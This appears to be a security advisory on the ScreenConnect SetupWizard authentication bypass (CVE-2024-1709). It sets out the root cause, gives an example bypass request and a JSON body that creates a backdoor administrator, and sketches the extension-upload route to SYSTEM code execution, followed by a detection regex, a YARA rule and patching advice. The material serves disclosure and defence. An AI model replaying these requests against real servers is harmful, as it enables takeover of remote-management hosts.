Advisory: CVE-2024-1709 By John Hammond & Caleb Stewart (Huntress Threat Research)
⚡ Verified PoC Code

ConnectWise ScreenConnect Authentication Bypass: SetupWizard Path Traversal (Deep Analysis)

Executive Overview

CVE-2024-1709 is an unauthenticated, critical remote authentication bypass vulnerability affecting ConnectWise ScreenConnect (versions 23.9.7 and prior) with a maximum CVSSv3 base score of 10.0 (CRITICAL).

This vulnerability allows an unauthenticated external attacker to re-initialize the initial setup wizard on an active, fully configured production ScreenConnect instance, create a new administrative user with full administrative privileges, and subsequently deploy arbitrary server extensions or executables to gain complete remote code execution (RCE) on the underlying host operating system.

Vulnerability Mechanism & Root Cause

The vulnerability stems from an architectural routing flaw inside ScreenConnect's custom HTTP request processing pipeline for ASP.NET handlers (ScreenConnect.Server.dll).

During standard deployment, the initial setup wizard is exposed via:

https://target:8040/SetupWizard.aspx

When an installation completes, ScreenConnect sets an internal configuration flag:

IsSetup = true

Subsequent requests targeting /SetupWizard.aspx are evaluated by the application's authentication filter, which inspects whether setup is complete. If IsSetup == true, the filter rejects unauthenticated requests and redirects the user to /Login.

The Path Traversal Flaw

However, ScreenConnect's URL authorization check evaluated incoming paths using naive prefix and equality matching against the requested file segment:

csharp
// Decompiled pseudo-code representation of vulnerable authorization filter

string requestPath = request.AppRelativeCurrentExecutionFilePath;

if (requestPath.Equals("~/SetupWizard.aspx", StringComparison.OrdinalIgnoreCase))

{

if (ServerState.IsSetup)

{

response.Redirect("~/Login");

return;

}

}

Because Microsoft ASP.NET interprets URI path components following an .aspx extension as extra path information (PathInfo), appending any additional segment after the file name allows the request to bypass the exact string comparison check:

http
POST /SetupWizard.aspx/anything HTTP/1.1

Host: screenconnect.target.corp:8040

Content-Type: application/json
1
The HTTP routing framework maps the request to the handler for SetupWizard.aspx.
2
The authentication filter compares "~/SetupWizard.aspx/anything" against "~/SetupWizard.aspx".
3
The comparison returns false, causing the authentication check to fall through without redirecting to /Login.
4
The setup wizard's page handler executes with elevated privilege, believing the server is currently in an unconfigured initial installation state.

Exploitation Lifecycle & Privilege Escalation Flow

Once the authentication filter is bypassed, the attacker sends a crafted POST request to the Setup Wizard's user creation endpoint:

http
POST /SetupWizard.aspx/anything HTTP/1.1

Host: target:8040

Content-Type: application/json

{

"Action": "CreateUser",

"UserName": "backdoor_admin",

"Password": "ComplexPassword123!",

"Email": "[email protected]"

}

Because the wizard handler executes unconstrained, it commits the newly supplied credentials into the backend database (User.xml / internal user store) with Role: Administrator.

From Admin to Remote Code Execution (RCE)

With administrative privileges obtained, ScreenConnect allows administrators to install server-side extensions (.dll / .ashx) to customize remote management capabilities:

1
Attacker logs into /Login using the newly created credentials.
2
Navigates to /Administration#extensions.
3
Packages a custom extension containing a generic command execution handler (Process.Start("cmd.exe", ...)).
4
Uploads the extension package (.zip containing Manifest.xml and handler scripts).
5
ScreenConnect unpacks the extension into App_Extensions/ and executes the payload with NT AUTHORITY\SYSTEM permissions.

Forensic Indicators & Detection

Network & Log Indicators

Examine ScreenConnect application access logs (Server.log located in %ProgramFiles(x86)%\ScreenConnect\App_Data):

  • High-priority indicator: Any HTTP request containing /SetupWizard.aspx/ with trailing path data:
regex
SetupWizard\.aspx\/[A-Za-z0-9_\-\.\/]+
  • New administrator accounts created outside scheduled maintenance windows.
  • Creation of unexpected .ashx or .dll files in C:\\Program Files (x86)\\ScreenConnect\\App_Extensions\\.

YARA Detection Rule

yara
rule ScreenConnect_CVE_2024_1709_Exploit_Artifact {

meta:

description = "Detects ScreenConnect SetupWizard traversal exploitation artifacts"

cve = "CVE-2024-1709"

author = "CyberVault Threat Research"

date = "2024-02-20"

severity = "Critical"

strings:

$url1 = "SetupWizard.aspx/" ascii wide nocase

$wiz1 = "IsSetup" ascii wide

$act1 = "CreateUser" ascii wide

condition:

$url1 and ($wiz1 or $act1)

}

Remediation & Mitigation

1
Immediate Patching: Upgrade ConnectWise ScreenConnect to version 23.9.8 or later. ConnectWise has removed the vulnerable path routing logic and strictly enforces IsSetup checks regardless of path info.
2
Cloud Instances: ConnectWise automatically patched all hosted cloud instances (*.screenconnect.com).
3
On-Premise Defense in Depth: Restrict access to port 8040 to trusted internal management subnets via perimeter firewalls or VPN gateway controls.